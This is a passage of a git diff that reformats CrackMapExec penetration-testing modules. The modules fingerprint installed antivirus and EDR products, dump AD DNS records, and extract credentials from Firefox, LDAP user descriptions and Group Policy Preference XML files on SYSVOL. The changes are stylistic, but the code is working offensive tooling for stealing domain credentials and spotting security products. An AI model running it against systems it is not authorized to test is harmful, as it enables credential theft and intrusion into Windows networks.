self.empire_launcher: connection.execute(self.empire_launcher) - context.log.success('Executed Empire Launcher') + context.log.success("Executed Empire Launcher") diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index 90d69e0a..a01c350c 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -15,6 +15,7 @@ class CMEModule: Uses LsarLookupNames and NamedPipes to gather information on all endpoint protection solutions installed on the the remote host(s) Module by @mpgn_x64 """ + name = "enum_av" description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)" supported_protocols = ["smb"] @@ -26,48 +27,70 @@ class CMEModule: self.module_options = module_options def options(self, context, module_options): - """ - """ + """ """ pass def on_login(self, context, connection): success = 0 results = {} - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target)) + target = ( + connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain + ) + context.log.debug( + "Detecting installed services on {} using LsarLookupNames()...".format( + target + ) + ) try: - lsa = LsaLookupNames(connection.domain, connection.username, connection.password, target, connection.kerberos, connection.domain, connection.lmhash, connection.nthash) + lsa = LsaLookupNames( + connection.domain, + connection.username, + connection.password, + target, + connection.kerberos, + connection.domain, + connection.lmhash, + connection.nthash, + ) dce, rpctransport = lsa.connect() policyHandle = lsa.open_policy(dce) - for i, product in enumerate(conf['products']): - for service in product['services']: + for i, product in enumerate(conf["products"]): + for service in product["services"]: try: - lsa.LsarLookupNames(dce, policyHandle, service['name']) - context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}") - if product['name'] not in results: - results[product['name']] = {"services": []} - results[product['name']]['services'].append(service) + lsa.LsarLookupNames(dce, policyHandle, service["name"]) + context.log.display( + f"Detected installed service on {connection.host}: {product['name']} {service['description']}" + ) + if product["name"] not in results: + results[product["name"]] = {"services": []} + results[product["name"]]["services"].append(service) except Exception as e: pass success += 1 except Exception as e: context.log.fail(str(e)) - context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...") + context.log.display( + f"Detecting running processes on {connection.host} by enumerating pipes..." + ) try: - for f in connection.conn.listPath('IPC$', '\\*'): + for f in connection.conn.listPath("IPC$", "\\*"): fl = f.get_longname() - for i, product in enumerate(conf['products']): - for pipe in product['pipes']: - if pathlib.PurePath(fl).match(pipe['name']): - context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") - if product['name'] not in results: - results[product['name']] = {} - if "pipes" not in results[product['name']]: - results[product['name']]['pipes'] = [] - results[product['name']]['pipes'].append(pipe) + for i, product in enumerate(conf["products"]): + for pipe in product["pipes"]: + if pathlib.PurePath(fl).match(pipe["name"]): + context.log.debug( + f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})" + ) + if product["name"] not in results: + results[product["name"]] = {} + if "pipes" not in results[product["name"]]: + results[product["name"]]["pipes"] = [] + results[product["name"]]["pipes"].append(pipe) success += 1 except Exception as e: context.log.debug(str(e)) @@ -79,15 +102,15 @@ class CMEModule: out1 = "" for item in results: out = out1 - if 'services' in results[item]: + if "services" in results[item]: out += f"{item} INSTALLED" - if 'pipes' in results[item]: + if "pipes" in results[item]: out += " and it seems to be RUNNING" # else: # for product in conf['products']: # if (item == product['name']) and (len(product['pipes']) == 0): # out += " (NamedPipe for this service was not provided in config)" - elif 'pipes' in results[item]: + elif "pipes" in results[item]: out += f" {item} RUNNING" context.log.highlight(out) if (len(results) < 1) and (success > 1): @@ -95,7 +118,7 @@ class CMEModule: context.log.highlight(out) -class LsaLookupNames(): +class LsaLookupNames: timeout = None authn_level = None protocol = None @@ -105,7 +128,17 @@ class LsaLookupNames(): iface_uuid = lsat.MSRPC_UUID_LSAT authn = True - def __init__(self, domain="", username="", password="", remote_name="", k=False, kdcHost="", lmhash="", nthash=""): + def __init__( + self, + domain="", + username="", + password="", + remote_name="", + k=False, + kdcHost="", + lmhash="", + nthash="", + ): self.domain = domain self.username = username self.password = password @@ -133,9 +166,11 @@ class LsaLookupNames(): rpc_transport.set_connect_timeout(self.timeout) # Authenticate if specified - if self.authn and hasattr(rpc_transport, 'set_credentials'): + if self.authn and hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) + rpc_transport.set_credentials( + self.username, self.password, self.domain, self.lmhash, self.nthash + ) if self.doKerberos: rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost) @@ -161,254 +196,176 @@ class LsaLookupNames(): def open_policy(self, dce): request = lsad.LsarOpenPolicy2() - request['SystemName'] = NULL - request['ObjectAttributes']['RootDirectory'] = NULL - request['ObjectAttributes']['ObjectName'] = NULL - request['ObjectAttributes']['SecurityDescriptor'] = NULL - request['ObjectAttributes']['SecurityQualityOfService'] = NULL - request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES + request["SystemName"] = NULL + request["ObjectAttributes"]["RootDirectory"] = NULL + request["ObjectAttributes"]["ObjectName"] = NULL + request["ObjectAttributes"]["SecurityDescriptor"] = NULL + request["ObjectAttributes"]["SecurityQualityOfService"] = NULL + request["DesiredAccess"] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES resp = dce.request(request) - return resp['PolicyHandle'] + return resp["PolicyHandle"] def LsarLookupNames(self, dce, policyHandle, service): request = lsat.LsarLookupNames() - request['PolicyHandle'] = policyHandle - request['Count'] = 1 + request["PolicyHandle"] = policyHandle + request["Count"] = 1 name1 = RPC_UNICODE_STRING() - name1['Data'] = 'NT Service\{}'.format(service) - request['Names'].append(name1) - request['TranslatedSids']['Sids'] = NULL - request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + name1["Data"] = "NT Service\{}".format(service) + request["Names"].append(name1) + request["TranslatedSids"]["Sids"] = NULL + request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta resp = dce.request(request) return resp conf = { - "products": [ - { - "name": "Bitdefender", - "services": [ + "products": [ { - "name": "bdredline_agent", - "description": "Bitdefender Agent RedLine Service" + "name": "Bitdefender", + "services": [ + { + "name": "bdredline_agent", + "description": "Bitdefender Agent RedLine Service", + }, + {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"}, + { + "name": "UPDATESRV", + "description": "Bitdefender Desktop Update Service", + }, + {"name": "VSSERV", "description": "Bitdefender Virus Shield"}, + {"name": "bdredline", "description": "Bitdefender RedLine Service"}, + ], + "pipes": [ + { + "name": "local\\msgbus\\antitracker.low\\*", + "processes": ["bdagent.exe"], + }, + { + "name": "local\\msgbus\\aspam.actions.low\\*", + "processes": ["bdagent.exe"], + }, + { + "name": "local\\msgbus\\bd.process.broker.pipe", + "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"], + }, + {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]}, + { + "name": "local\\msgbus\\bdauxsrv", + "processes": ["bdagent.exe", "bdntwrk.exe"], + }, + ], }, { - "name": "BDAuxSrv", - "description": "Bitdefender Auxiliary Service" + "name": "Windows Defender", + "services": [ + { + "name": "WinDefend", + "description": "Windows Defender Antivirus Service", + }, + { + "name": "Sense", + "description": "Windows Defender Advanced Threat Protection Service", + }, + { + "name": "WdNisSvc", + "description": "Windows Defender Antivirus Network Inspection Service", + }, + ], + "pipes": [], }, { - "name": "UPDATESRV", - "description": "Bitdefender Desktop Update Service" + "name": "ESET", + "services": [ + {"name": "ekm", "description": "ESET"}, + {"name": "epfw", "description": "ESET"}, + {"name": "epfwlwf", "description": "ESET"}, + {"name": "epfwwfp", "description": "ESET"}, + {"name": "EraAgentSvc", "description": "ESET"}, + ], + "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}], }, { - "name": "VSSERV", - "description": "Bitdefender Virus Shield" + "name": "CrowdStrike", + "services": [ + { + "name": "CSFalconService", + "description": "CrowdStrike Falcon Sensor Service", + } + ], + "pipes": [ + { + "name": "CrowdStrike\\{*", + "processes": ["CSFalconContainer.exe", "CSFalconService.exe"], + } + ], }, { - "name": "bdredline", - "description": "Bitdefender RedLine Service" - } - ], - "pipes": [ - { - "name": "local\\msgbus\\antitracker.low\\*", - "processes": [ - "bdagent.exe" - ] + "name": "SentinelOne", + "services": [ + { + "name": "SentinelAgent", + "description": "SentinelOne Endpoint Protection Agent", + }, + { + "name": "SentinelStaticEngine", + "description": "Manage static engines for SentinelOne Endpoint Protection", + }, + { + "name": "LogProcessorService", + "description": "Manage logs for SentinelOne Endpoint Protection", + }, + ], + "pipes": [ + {"name": "SentinelAgentWorkerCert.*", "processes": [""]}, + {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]}, + {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}, + ], }, { - "name": "local\\msgbus\\aspam.actions.low\\*", - "processes": [ - "bdagent.exe" - ] + "name": "Carbon Black App Control", + "services": [ + {"name": "Parity", "description": "Carbon Black App Control Agent"} + ], + "pipes": [], }, { - "name": "local\\msgbus\\bd.process.broker.pipe", - "processes": [ - "bdagent.exe", - "bdservicehost.exe", - "updatesrv.exe" - ] + "name": "Cybereason", + "services": [ + { + "name": "CybereasonActiveProbe", + "description": "Cybereason Active Probe", + }, + {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"}, + { + "name": "CybereasonBlocki", + "description": "Cybereason Execution Prevention", + }, + ], + "pipes": [ + { + "name": "CybereasonAPConsoleMinionHostIpc_*", + "processes": ["minionhost.exe"], + }, + { + "name": "CybereasonAPServerProxyIpc_*", + "processes": ["minionhost.exe"], + }, + ], }, { - "name": "local\\msgbus\\bdagent*", - "processes": [ - "bdagent.exe" - ] + "name": "Symantec Endpoint Protection", + "services": [ + { + "name": "SepMasterService", + "description": "Symantec Endpoint Protection", + }, + { + "name": "SepScanService", + "description": "Symantec Endpoint Protection Scan Services", + }, + {"name": "SNAC", "description": "Symantec Network Access Control"}, + ], + "pipes": [], }, - { - "name": "local\\msgbus\\bdauxsrv", - "processes": [ - "bdagent.exe", - "bdntwrk.exe" - ] - } - ] - }, - { - "name": "Windows Defender", - "services": [ - { - "name": "WinDefend", - "description": "Windows Defender Antivirus Service" - }, - { - "name": "Sense", - "description": "Windows Defender Advanced Threat Protection Service" - }, - { - "name": "WdNisSvc", - "description": "Windows Defender Antivirus Network Inspection Service" - } - ], - "pipes": [] - }, - { - "name": "ESET", - "services": [ - { - "name": "ekm", - "description": "ESET" - }, - { - "name": "epfw", - "description": "ESET" - }, - { - "name": "epfwlwf", - "description": "ESET" - }, - { - "name": "epfwwfp", - "description": "ESET" - }, - { - "name": "EraAgentSvc", - "description": "ESET" - } - ], - "pipes": [ - { - "name": "nod_scriptmon_pipe", - "processes": [ - "" - ] - } - ] - }, - { - "name": "CrowdStrike", - "services": [ - { - "name": "CSFalconService", - "description": "CrowdStrike Falcon Sensor Service" - } - ], - "pipes": [ - { - "name": "CrowdStrike\\{*", - "processes": [ - "CSFalconContainer.exe", - "CSFalconService.exe" - ] - } - ] - }, - { - "name": "SentinelOne", - "services": [ - { - "name": "SentinelAgent", - "description": "SentinelOne Endpoint Protection Agent" - }, - { - "name": "SentinelStaticEngine", - "description": "Manage static engines for SentinelOne Endpoint Protection" - }, - { - "name": "LogProcessorService", - "description": "Manage logs for SentinelOne Endpoint Protection" - } - ], - "pipes": [ - { - "name": "SentinelAgentWorkerCert.*", - "processes": [ - "" - ] - }, - { - "name": "DFIScanner.Etw.*", - "processes": [ - "SentinelStaticEngine.exe" - ] - }, - { - "name": "DFIScanner.Inline.*", - "processes": [ - "SentinelAgent.exe" - ] - } - ] - }, - { - "name": "Carbon Black App Control", - "services": [ - { - "name": "Parity", - "description": "Carbon Black App Control Agent" - } - ], - "pipes": [] - }, - { - "name": "Cybereason", - "services": [ - { - "name": "CybereasonActiveProbe", - "description": "Cybereason Active Probe" - }, - { - "name": "CybereasonCRS", - "description": "Cybereason Anti-Ransomware" - }, - { - "name": "CybereasonBlocki", - "description": "Cybereason Execution Prevention" - } - ], - "pipes": [ - { - "name": "CybereasonAPConsoleMinionHostIpc_*", - "processes": [ - "minionhost.exe" - ] - }, - { - "name": "CybereasonAPServerProxyIpc_*", - "processes": [ - "minionhost.exe" - ] - } - ] - }, - { - "name": "Symantec Endpoint Protection", - "services": [ - { - "name": "SepMasterService", - "description": "Symantec Endpoint Protection" - }, - { - "name": "SepScanService", - "description": "Symantec Endpoint Protection Scan Services" - }, - { - "name": "SNAC", - "description": "Symantec Network Access Control" - } - ], - "pipes": [] - } - ] + ] } diff --git a/cme/modules/enum_dns.py b/cme/modules/enum_dns.py index 5622ea8f..49c572d3 100644 --- a/cme/modules/enum_dns.py +++ b/cme/modules/enum_dns.py @@ -10,6 +10,7 @@ class CMEModule: Uses WMI to dump DNS from an AD DNS Server. Module by @fang0654 """ + name = "enum_dns" description = "Uses WMI to dump DNS from an AD DNS Server" supported_protocols = ["smb"] @@ -26,34 +27,39 @@ class CMEModule: DOMAIN Domain to enumerate DNS for. Defaults to all zones. """ self.domains = None - if module_options and 'DOMAIN' in module_options: - self.domains = module_options['DOMAIN'] + if module_options and "DOMAIN" in module_options: + self.domains = module_options["DOMAIN"] def on_admin_login(self, context, connection): if not self.domains: domains = [] - output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns") + output = connection.wmi( + "Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns" + ) if output: for result in output: - domains.append(result['Name']['value']) + domains.append(result["Name"]["value"]) - context.log.success('Domains retrieved: {}'.format(domains)) + context.log.success("Domains retrieved: {}".format(domains)) else: domains = [self.domains] data = "" for domain in domains: - output = connection.wmi(f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", "root\\microsoftdns") - + output = connection.wmi( + f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", + "root\\microsoftdns", + ) + if output: domain_data = {} context.log.highlight(f"Results for {domain}") data += f"Results for {domain}\n" for entry in output: - text = entry['TextRepresentation']['value'] - rname = text.split(' ')[0] - rtype = text.split(' ')[2] - rvalue = ' '.join(text.split(' ')[3:]) + text = entry["TextRepresentation"]["value"] + rname = text.split(" ")[0] + rtype = text.split(" ")[2] + rvalue = " ".join(text.split(" ")[3:]) if domain_data.get(rtype, False): domain_data[rtype].append(f"{rname}: {rvalue}") else: @@ -63,10 +69,11 @@ class CMEModule: context.log.highlight(f"Record Type: {k}") data += f"Record Type: {k}\n" for d in sorted(v): - context.log.highlight("\t"+d) + context.log.highlight("\t" + d) data += "\t" + d + "\n" - log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + log_name = "DNS-Enum-{}-{}.log".format( + connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S") + ) write_log(data, log_name) context.log.display(f"Saved raw output to {log_name}") - diff --git a/cme/modules/example_module.py b/cme/modules/example_module.py index ca010795..f8a84dfa 100644 --- a/cme/modules/example_module.py +++ b/cme/modules/example_module.py @@ -1,16 +1,20 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: """ Example Module by @yomama """ + name = "example module" description = "I do something" supported_protocols = [] opsec_safe = True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + multiple_hosts = ( + True # Does it make sense to run this module on multiple hosts at a time? + ) def __init__(self, context=None, module_options=None): self.context = context diff --git a/cme/modules/firefox.py b/cme/modules/firefox.py index 52df6925..c3fdee96 100644 --- a/cme/modules/firefox.py +++ b/cme/modules/firefox.py @@ -9,15 +9,18 @@ class CMEModule: Inspired by firefox looting from DonPAPI https://github.com/login-securite/DonPAPI """ - name = 'firefox' - description = 'Dump credentials from Firefox' - supported_protocols = ['smb'] + + name = "firefox" + description = "Dump credentials from Firefox" + supported_protocols = ["smb"] opsec_safe = True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + multiple_hosts = ( + True # Does it make sense to run this module on multiple hosts at a time? + ) def options(self, context, module_options): """Dump credentials from Firefox""" - pass + pass def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -48,6 +51,14 @@ class CMEModule: firefox_triage.upgrade_connection(connection=connection.conn) firefox_credentials = firefox_triage.run() for credential in firefox_credentials: - context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password)) + context.log.highlight( + "[%s][FIREFOX] %s %s:%s" + % ( + credential.winuser, + credential.url + " -" if credential.url != "" else "-", + credential.username, + credential.password, + ) + ) except Exception as e: context.log.debug("Error while looting firefox: {}".format(e)) diff --git a/cme/modules/get-desc-users.py b/cme/modules/get-desc-users.py index 54aa78b5..91d340f2 100644 --- a/cme/modules/get-desc-users.py +++ b/cme/modules/get-desc-users.py @@ -9,31 +9,38 @@ from cme.logger import cme_logger class CMEModule: """ - Get description of users - Module by @nodauf + Get description of users + Module by @nodauf """ - name = 'get-desc-users' - description = 'Get description of the users. May contained password' - supported_protocols = ['ldap'] + + name = "get-desc-users" + description = "Get description of the users. May contained password" + supported_protocols = ["ldap"] opsec_safe = True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + multiple_hosts = ( + True # Does it make sense to run this module on multiple hosts at a time? + ) def options(self, context, module_options): """ - FILTER Apply the FILTER (grep-like) (default: '') - PASSWORDPOLICY Is the windows password policy enabled ? (default: False) - MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) + FILTER Apply the FILTER (grep-like) (default: '') + PASSWORDPOLICY Is the windows password policy enabled ? (default: False) + MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) """ - self.FILTER = '' - self.MINLENGTH = '6' + self.FILTER = "" + self.MINLENGTH = "6" self.PASSWORDPOLICY = False - if 'FILTER' in module_options: - self.FILTER = module_options['FILTER'] - if 'MINLENGTH' in module_options: - self.MINLENGTH = module_options['MINLENGTH'] - if 'PASSWORDPOLICY' in module_options: + if "FILTER" in module_options: + self.FILTER = module_options["FILTER"] + if "MINLENGTH" in module_options: + self.MINLENGTH = module_options["MINLENGTH"] + if "PASSWORDPOLICY" in module_options: self.PASSWORDPOLICY = True - self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following + self.regex = re.compile( + "((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + + self.MINLENGTH + + ",}" + ) # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection""" @@ -41,13 +48,17 @@ class CMEModule: searchFilter = "(objectclass=user)" try: - context.log.debug('Search Filter=%s' % searchFilter) - resp = connection.ldapConnection.search(searchFilter=searchFilter, - attributes=['sAMAccountName','description'], - sizeLimit=0) + context.log.debug("Search Filter=%s" % searchFilter) + resp = connection.ldapConnection.search( + searchFilter=searchFilter, + attributes=["sAMAccountName", "description"], + sizeLimit=0, + ) except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug( + "sizeLimitExceeded exception caught, giving up and processing the data received" + ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -57,33 +68,37 @@ class CMEModule: return False answers = [] - context.log.debug('Total of records returned %d' % len(resp)) + context.log.debug("Total of records returned %d" % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - sAMAccountName = '' - description = '' + sAMAccountName = "" + description = "" try: - for attribute in item['attributes']: - if str(attribute['type']) == 'sAMAccountName': - sAMAccountName = str(attribute['vals'][0]) - elif str(attribute['type']) == 'description': - description = attribute['vals'][0] - if sAMAccountName != '' and description != '': - answers.append([sAMAccountName,description]) + for attribute in item["attributes"]: + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = str(attribute["vals"][0]) + elif str(attribute["type"]) == "description": + description = attribute["vals"][0] + if sAMAccountName != "" and description != "": + answers.append([sAMAccountName, description]) except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug('Skipping item, cannot process due to error %s' % str(e)) + context.log.debug( + "Skipping item, cannot process due to error %s" % str(e) + ) pass answers = self.filter_answer(context, answers) if len(answers) > 0: - context.log.success('Found following users: ') + context.log.success("Found following users: ") for answer in answers: - context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1])) + context.log.highlight( + "User: {} description: {}".format(answer[0], answer[1]) + ) def filter_answer(self, context, answers): # No option to filter - if self.FILTER == '' and not self.PASSWORDPOLICY: + if self.FILTER == "" and not self.PASSWORDPOLICY: context.log.debug("No filter option enabled") return answers answersFiltered = [] @@ -93,21 +108,28 @@ class CMEModule: conditionFilter = False description = str(answer[1]) # Filter - if self.FILTER != '': + if self.FILTER != "": conditionFilter = False if self.FILTER in description: conditionFilter = True - + # Password policy if self.PASSWORDPOLICY: conditionPasswordPolicy = False if self.regex.search(description): conditionPasswordPolicy = True - - if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy): - answersFiltered.append([answer[0],description]) - elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy: - answersFiltered.append([answer[0],description]) + + if ( + self.FILTER + and conditionFilter + and self.PASSWORDPOLICY + and conditionPasswordPolicy + ): + answersFiltered.append([answer[0], description]) + elif ( + not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy + ): + answersFiltered.append([answer[0], description]) elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter: - answersFiltered.append([answer[0],description]) + answersFiltered.append([answer[0], description]) return answersFiltered diff --git a/cme/modules/get_netconnections.py b/cme/modules/get_netconnections.py index 74cca8c0..8ee9e1d5 100755 --- a/cme/modules/get_netconnections.py +++ b/cme/modules/get_netconnections.py @@ -5,17 +5,18 @@ from datetime import datetime from cme.helpers.logger import write_log import json + class CMEModule: """ - Uses WMI to extract network connections, used to find multi-homed hosts. - Module by @fang0654 + Uses WMI to extract network connections, used to find multi-homed hosts. + Module by @fang0654 """ - name = 'get_netconnections' - description = 'Uses WMI to query network connections.' - supported_protocols = ['smb'] - opsec_safe= True + name = "get_netconnections" + description = "Uses WMI to query network connections." + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = True def options(self, context, module_options): @@ -25,16 +26,20 @@ class CMEModule: pass def on_admin_login(self, context, connection): - data = [] - cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") + cards = connection.wmi( + f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration" + ) for c in cards: - if c['IPAddress'].get('value'): - context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}") - + if c["IPAddress"].get("value"): + context.log.success( + f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}" + ) + data.append(cards) - log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + log_name = "network-connections-{}-{}.log".format( + connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S") + ) write_log(json.dumps(data), log_name) context.log.display("Saved raw output to {}".format(log_name)) - diff --git a/cme/modules/gpp_autologin.py b/cme/modules/gpp_autologin.py index 5561395d..c947dfa1 100644 --- a/cme/modules/gpp_autologin.py +++ b/cme/modules/gpp_autologin.py @@ -4,60 +4,59 @@ import xml.etree.ElementTree as ET from io import BytesIO + class CMEModule: """ - Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 - Module by @byt3bl33d3r + Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 + Module by @byt3bl33d3r """ - name = 'gpp_autologin' - description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.' - supported_protocols = ['smb'] + name = "gpp_autologin" + description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password." + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): shares = connection.shares() for share in shares: - if share['name'] == 'SYSVOL' and 'READ' in share['access']: + if share["name"] == "SYSVOL" and "READ" in share["access"]: + context.log.success("Found SYSVOL share") + context.log.display("Searching for Registry.xml") - context.log.success('Found SYSVOL share') - context.log.display('Searching for Registry.xml') - - paths = connection.spider('SYSVOL', pattern=['Registry.xml']) + paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) for path in paths: - context.log.display('Found {}'.format(path)) + context.log.display("Found {}".format(path)) buf = BytesIO() - connection.conn.getFile('SYSVOL', path, buf.write) + connection.conn.getFile("SYSVOL", path, buf.write) xml = ET.fromstring(buf.getvalue()) if xml.findall('.//Properties[@name="DefaultPassword"]'): usernames = [] passwords = [] - domains = [] + domains = [] xml_section = xml.findall(".//Properties") for section in xml_section: attrs = section.attrib - if attrs['name'] == 'DefaultPassword': - passwords.append(attrs['value']) + if attrs["name"] == "DefaultPassword": + passwords.append(attrs["value"]) - if attrs['name'] == 'DefaultUserName': - usernames.append(attrs['value']) + if attrs["name"] == "DefaultUserName": + usernames.append(attrs["value"]) - if attrs['name'] == 'DefaultDomainName': - domains.append(attrs['value']) + if attrs["name"] == "DefaultDomainName": + domains.append(attrs["value"]) if usernames or passwords: - context.log.success('Found credentials in {}'.format(path)) - context.log.highlight('Usernames: {}'.format(usernames)) - context.log.highlight('Domains: {}'.format(domains)) - context.log.highlight('Passwords: {}'.format(passwords)) \ No newline at end of file + context.log.success("Found credentials in {}".format(path)) + context.log.highlight("Usernames: {}".format(usernames)) + context.log.highlight("Domains: {}".format(domains)) + context.log.highlight("Passwords: {}".format(passwords)) diff --git a/cme/modules/gpp_password.py b/cme/modules/gpp_password.py index 3702de07..251e6c89 100644 --- a/cme/modules/gpp_password.py +++ b/cme/modules/gpp_password.py @@ -7,89 +7,113 @@ from base64 import b64decode from binascii import unhexlify from io import BytesIO + class CMEModule: """ - Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 - Module by @byt3bl33d3r + Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 + Module by @byt3bl33d3r """ - name = 'gpp_password' - description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.' - supported_protocols = ['smb'] + name = "gpp_password" + description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences." + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): shares = connection.shares() for share in shares: - if share['name'] == 'SYSVOL' and 'READ' in share['access']: + if share["name"] == "SYSVOL" and "READ" in share["access"]: + context.log.success("Found SYSVOL share") + context.log.display( + "Searching for potential XML files containing passwords" + ) - context.log.success('Found SYSVOL share') - context.log.display('Searching for potential XML files containing passwords') - - paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml']) + paths = connection.spider( + "SYSVOL", + pattern=[ + "Groups.xml", + "Services.xml", + "Scheduledtasks.xml", + "DataSources.xml", + "Printers.xml", + "Drives.xml", + ], + ) for path in paths: - context.log.display('Found {}'.format(path)) + context.log.display("Found {}".format(path)) buf = BytesIO() - connection.conn.getFile('SYSVOL', path, buf.write) + connection.conn.getFile("SYSVOL", path, buf.write) xml = ET.fromstring(buf.getvalue()) sections = [] - if 'Groups.xml' in path: - sections.append('./User/Properties') + if "Groups.xml" in path: + sections.append("./User/Properties") - elif 'Services.xml' in path: - sections.append('./NTService/Properties') + elif "Services.xml" in path: + sections.append("./NTService/Properties") - elif 'ScheduledTasks.xml' in path: - sections.append('./Task/Properties') - sections.append('./ImmediateTask/Properties') - sections.append('./ImmediateTaskV2/Properties') - sections.append('./TaskV2/Properties') + elif "ScheduledTasks.xml" in path: + sections.append("./Task/Properties") + sections.append("./ImmediateTask/Properties") + sections.append("./ImmediateTaskV2/Properties") + sections.append("./TaskV2/Properties") - elif 'DataSources.xml' in path: - sections.append('./DataSource/Properties') + elif "DataSources.xml" in path: + sections.append("./DataSource/Properties") - elif 'Printers.xml' in path: - sections.append('./SharedPrinter/Properties') - - elif 'Drives.xml' in path: - sections.append('./Drive/Properties') + elif "Printers.xml" in path: + sections.append("./SharedPrinter/Properties") + elif "Drives.xml" in path: + sections.append("./Drive/Properties") for section in sections: xml_section = xml.findall(section) for attr in xml_section: props = attr.attrib - if 'cpassword' in props: - for user_tag in ['userName', 'accountName', 'runAs', 'username']: + if "cpassword" in props: + for user_tag in [ + "userName", + "accountName", 